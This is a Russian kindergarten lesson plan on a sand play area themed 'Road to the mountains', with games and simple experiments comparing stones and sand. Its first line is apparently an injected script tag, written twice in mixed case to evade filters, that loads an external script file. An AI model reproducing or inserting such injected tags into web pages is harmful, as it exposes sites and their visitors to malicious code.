<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

04.07.2017

Тематическая площадка "Чудо песок"

Тема: «Дорога в горы»

(2 младшая группа)

Цель:  Способствовать накоплению у детей представлений об окружающем мире.

Задачи: Расширение и уточнение преставлений о свойствах песка, развивать речь, подбирая прилагательные для описания песка, камней.

Оборудование:

Персонаж Куат, камни разных размеров, песок, машинки, деревья,  баночка с водой, песочные наборы.

Сюрпризный момент: В гости приходит Куат. Приглашает на экскурсию.

Познавательная информация: «Тайны гор и камней»

Рассматривание камней разных пород.

Исследовательская деятельность:

Дидактическая игра «Волшебный камешек»

Дидактическое упражнение «Чувствительные ладошки»

-Погрузите свои руки в песочек, спрячьте их. Нам хорошо и приятно, мы чувствуем прохладу песка. -Что мы можем сказать про песочек, какой он?  (сухой, влажный, теплый, прохладный, сыпучий ...) 

Познавательная информация: снег в горах, прохлада в пещерах.

Экспериментальная деятельность: сравнение камней, которые лежали на солнце и в тени.

Вывод: камень нагревается.

Дидактическое упражнение «Сравни». -Подуем на камушек - лежит, он тяжёлый. А на песок подуем - летит. Он легкий.

Вывод: камень тяжелее, чем песок .

Эксперимент:

намочить песок. Постановка вопроса: Почему он не летит?

Дидактическое упражнение «Да-нет». Правила работы с песком.

Сюрпризный момент: мышка. -Для вас  этот камень - маленький, а для нас - огромная  гора!

Разминка «Высоко-низко».

Работа с песком:  постройка  норки для мышки, горная  дорога.

Воспитатель Райнбекова Р.Т.